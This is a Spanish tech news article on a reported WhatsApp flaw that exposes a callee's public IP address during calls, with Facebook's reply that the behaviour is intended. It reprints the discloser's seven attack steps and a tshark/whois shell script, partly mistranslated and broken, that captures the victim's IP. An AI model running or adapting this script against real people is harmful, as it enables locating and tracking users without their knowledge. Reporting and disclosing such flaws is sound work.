La última versión del servicio de mensajería WhatsApp es vulnerable a la divulgación de la IP pública del usuario de forma remota. Y se ha comprobardo que esto sucede en todas las plataformas.
¿Cómo es esto? Se ha observado que durante una llamada de WhatsApp (tanto de voz como de vídeo), la aplicación por parte del llamante intenta establecer una conexión directa con la dirección IP pública del dispositivo del destinatario.
Según el usuario bhdresh ha publicado en GitHub, al filtrar las direcciones IP de los servidores de Facebook y WhatsApp de los hosts de destino, es posible revelar la dirección IP pública correcta del usuario objetivo de WhatsApp sin su conocimiento.
Las consecuencias de estas filtración
La posibilidad de mapear a los usuarios de WhatsApp con su IP pública no sólo revelará la información de ubicación de los usuarios de esta app, sino que también puede ser utilizada indebidamente para rastrear su movimiento físico manteniendo el historial de localización, de acuerdo con el usuario que ha descubierto esta vulneración.
“Este mapeo directo entre la información del usuario y la IP también puede ser utilizado indebidamente para rastrear los hábitos de navegación de los usuarios e influir en ellos”, según palabras literales de bhdresh.
Este usuario ha mostrado en Github el comando para explotar esta vulnerabilidad pero advierte que “este programa es sólo para fines educativos” y pide que no se utilice sin permiso y que si alguien causa algún daño con este programa, el autor o cualquier proveedor de Internet no tienen ninguna responsabilidad.
Los siete pasos que permiten explotar esta vulnerabilidad
Según el usuario que denuncia esta vulnerabilidad, hay 7 pasos para explotarla. Primero hay que iniciar el punto de acceso WiFi en la máquina del atacante y conectar el teléfono al SSID del atacante. Tras esto, hay que iniciar un script en la máquina del atacante que ahora actúa como un router para el teléfono del atacante. El script sería el siguiente:
/bin/sh
filter=tshark
-i eth0 -T fields -f “udp” -e ip.dst -Y “ip.dst!=192.168.0.0/16 and ip.dst!=10.0.0/8 and ip.dst!=172.16.0.0/12” -c 100 |sort -u |xargs|sed “s/ / and ip.dst!=/g” |sed “s/^/ip.dst!=/g”
echo “Pulse Enter y llame a su objetivo”.
leer la línea
tshark -i eth0 -l -T fields -f “udp” -e ip.dst -Y “$filter” -Y “ip.dst!=192.168.0.0/16 and ip.dst!=10.0.0.0/8 and ip.dst!=172.16.0.0/12” | while read line do whois $line > /tmp/b
filter=
cat /tmp/b |xargs| egrep -iv “facebook|google”|wc -l
if [ “$filter” -gt 0 ] ; then targetinfo=cat /tmp/b| egrep -iw “OrgName:|NetName:|Country:” echo $line — $targetinfo fi done
Tras esto, llama a cualquier usuario de WhatsApp de forma aleatoria para capturar las direcciones IP del servidor a filtrar y hay que llamar a la “víctima” de la que se quiere obgtener la información. Tras esto, se desconecta la llamada una vez establecida y el script revelará la dirección IP pública del objetivo. Tras esto, el último paso es el de validar la dirección IP pública en el teléfono del objetivo.
Qué opina Facebook de esto
El octubre de 2020 se reportó esta vulnerabilidad a Facebook. La respuesta de la empresa matriz de WhatsApp fue: “Gracias por su informe. En este caso, el problema que has descrito es en realidad sólo una funcionalidad prevista y, por lo tanto, no reúne los requisitos para una recompensa“. Es decir, para las recompensas que se otorgan a quienes encuentran fallas de seguridad en sus productos.
Un tiempo más tarde, a otra pregunta de bhdresh, Facebook añadió que “debido a la naturaleza del protocolo peer to peer, los mejores métodos para los usuarios que puedan estar preocupados por la divulgación accidental es adoptar un enfoque proactivo. Esto puede incluir la limitación de las llamadas a los usuarios de confianza o el uso de una VPN“.
El usuario pidó divulgar esta información y la firma de Menlo Park dijo que la decisión era de él mismo y que no habría ninguna sanción por ello. El experto les propuso en marzo llevar a cabo una práctica similar a signal que tiene una función para retransmitir las llamadas a través del servidor de Signal para no revelar las direcciones IP. De todos modos, Facebook aseguró que “en este momento estamos contentos con nuestra implementación actual de las llamadas de WhatsApp“.